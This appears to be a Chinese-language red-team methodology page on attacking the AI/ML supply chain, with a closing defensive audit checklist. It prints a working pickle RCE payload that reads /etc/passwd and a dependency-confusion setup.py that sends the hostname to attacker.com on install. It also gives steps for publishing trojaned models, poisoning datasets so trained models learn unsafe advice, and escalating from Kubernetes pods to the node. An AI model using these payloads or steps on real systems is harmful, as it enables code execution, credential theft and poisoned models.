AI 供應鏈利用
利用 AI/ML 供應鏈的方法論:模型序列化 RCE、相依混淆、資料集投毒、CI/CD 注入與容器逃逸。
AI 供應鏈利用
AI/ML 供應鏈在每一層都仰賴隱含信任:模型以不透明二進位下載、資料集來自未驗證來源、訓練管線在前處理期間執行任意程式碼。不像傳統軟體供應鏈具備簽章與 checksum,ML 生態系把「執行不受信任的程式碼」當成常規。
模型序列化攻擊
方法論
打造基礎 pickle RCE 載荷
__reduce__方法告訴 pickle 如何重建物件。回傳os.system與 shell 指令,即在pickle.loads()時達成執行。import pickle, os class MaliciousModel: def __reduce__(self): return (os.system, ("id; whoami; cat /etc/passwd",)) payload = pickle.dumps(MaliciousModel()) # pickle.loads(payload) triggers RCE把載荷嵌入 PyTorch 模型檔
PyTorch
torch.save()內部使用 pickle。製作 trojan 模型在torch.load()時執行載荷,同時回傳合法權重讓受害者察覺不到異狀。透過 HuggingFace Hub 發布
把武器化模型以下列任一攻擊向量上傳到 HuggingFace Hub。
HuggingFace 攻擊向量
| 向量 | 技巧 | 偵測難度 |
|---|---|---|
| Typosquatting | 用與熱門倉儲相近的名稱上傳(如 meta-Ilama 仿 meta-llama) | 低——需使用者留意錯字 |
| 惡意自訂程式碼 | config.json 指向自訂 modeling_*.py,於 trust_remote_code=True 時執行 | 中——程式碼可見但少被審 |
| 被投毒的分詞器 | 自訂 tokenizer_config.json 參照可執行分詞器程式碼 | 高——掃描器聚焦模型檔 |
| Model card 網釣 | README 含惡意連結導向被木馬化的外部下載 | 低——社交工程 |
Safetensors 的限制
Safetensors 解決權重儲存問題但有重要落差:
- 模型仍可能需要 pickle 保存 optimizer 狀態、訓練組態或自訂架構
- 載入器若找不到 safetensors 檔可能回退到 pickle
trust_remote_code=True不論 權重格式都會執行任意 Python- model card 可能聲稱 safetensors 但實際檔案仍為 pickle
相依混淆與 Typosquatting
相依混淆 (Dependency confusion) 利用私有與公開套件索引間的互動。
攻擊步驟
辨識內部套件名稱
從徵才訊息、GitHub 倉儲、錯誤訊息或文件外洩中列舉內部 ML 套件名稱。
以高版本發布到公開 PyPI
建立同名、版本
99.0.0的套件。若目標使用--extra-index-url(而非--index-url),pip 會從公開 PyPI 安裝較高版本。# setup.py for the malicious package from setuptools import setup import os, urllib.request try: hostname = os.uname().nodename urllib.request.urlopen(f"https://attacker.com/dep-confusion?host={hostname}") except: pass setup(name="acme-ml-utils", version="99.0.0", packages=["acme_ml_utils"])利用 typosquatting 擴大受眾
鎖定常被打錯的 ML 套件名稱。
常見 typosquat 目標
| 合法套件 | Typosquat 變體 |
|---|---|
transformers | transformer、transfomers、transformrs |
torch | pytoch、tourch、troch |
tensorflow | tenserflow、tensorflw |
langchain | langchian、lanchain |
openai | opanai、openaii |
資料集投毒
HuggingFace Datasets、Kaggle 與學術倉儲的資料集通常以極少驗證的方式被使用。兩種主要攻擊模式:
| 攻擊 | 方法 | 影響 |
|---|---|---|
| 公開資料集操弄 | 送出 PR 新增看似合理但含微妙危險建議的樣本(例如「把 API 金鑰存在原始碼中」) | 大規模改變模型行為而不會有單一樣本被標記 |
| 資料管線注入 | 入侵訓練組態所參照的外部資料 URL、或對資料來源做 DNS 劫持 | 完全控制訓練資料,且沒有完整性檢查要繞過 |
CI/CD 管線注入
脆弱 ML 管線檢查清單
稽核 ML 訓練工作流時關注下列四類關鍵缺陷:
| 漏洞 | 風險 | 尋找線索 |
|---|---|---|
| 自架 runner 上的 PR 觸發 build | Fork PR 在 GPU 基礎設施執行任意程式碼 | on: pull_request + runs-on: [self-hosted, gpu] |
| 未釘選相依 | pip install 時被替換套件 | 沒有版本釘選或雜湊的 pip install -r requirements.txt |
| 機密暴露給 PR build | Fork 貢獻者可外洩 API 金鑰 | PR 觸發作業中的 ${{ secrets.* }} |
| 未驗證的資料下載 | 訓練資料被 MITM 或 DNS 劫持替換 | 沒有完整性檢查的 python scripts/download_data.py |
實驗追蹤作為攻擊面
取得 MLflow 追蹤伺服器存取後,攻擊者可:
- 改動訓練作業載入的超參數
- 把 artifact 參照導向惡意模型檢查點
- 修改資料集版本標籤指向投毒資料
- 以 trojan 檢查點覆寫生產模型註冊
ML 基礎設施的容器逃逸
GPU 容器攻擊面
GPU 容器擴張標準容器攻擊面,因為通常需要:
| 需求 | 安全影響 |
|---|---|
Privileged 模式或 /dev/nvidia* 存取 | Kernel 層級的提升路徑 |
| NVIDIA Container Toolkit | 增加驅動攻擊面 |
大型共用記憶體(/dev/shm) | 跨容器資料外洩 |
| 模型/資料儲存的 NFS 掛載 | 可橫向存取生產模型與資料湖 |
GPU 記憶體殘留掃描
在共享 GPU 基礎設施,前一租戶的資料(模型權重、訓練樣本、API 金鑰)可能殘留在未初始化 GPU 記憶體。以 torch.empty(..., device='cuda') 配置未初始化張量並掃描非零值。
Kubernetes ML 叢集提升路徑
入侵訓練作業
透過被投毒的相依或資料管線注入。
讀取掛載機密
從 Kubernetes secret 讀取 AWS 憑證、HuggingFace token。
存取共用模型儲存
以 trojan 版本取代 NFS 掛載上的生產模型。
橫向至資料湖
從共用掛載外洩訓練資料。
逃逸至節點
利用特權容器(
privileged: true)入侵節點。
供應鏈稽核檢查清單
| 領域 | 關鍵問題 |
|---|---|
| 模型出處 | checksum 驗證?weights_only=True 或 safetensors?trust_remote_code 已審?倉儲是否釘 commit? |
| 相依 | 精確版本釘選?私有 PyPI 是否優先?雜湊驗證(--require-hashes)?transitive 相依已稽核? |
| 資料完整性 | 資料集 checksum?TLS 含憑證驗證?前處理指令稿 code review?來源追蹤? |
| CI/CD | PR 執行受限?機密依分支範圍?自架 runner 隔離且短生命?訓練/部署分離? |
| 容器 | 是否未使用 --privileged?租戶間 GPU 記憶體已清除?映像已掃描?對外網路流量受限? |
相關主題
目標同時使用 --extra-index-url 的私有 PyPI 與公開 PyPI。為何易受相依混淆?
參考資料
- OWASP Machine Learning Security Top 10 — ML 特有供應鏈風險
- Hugging Face Security — 模型 hub 安全文件
- Fickling: Pickle decompiler and static analyzer — Trail of Bits 的 pickle 安全工具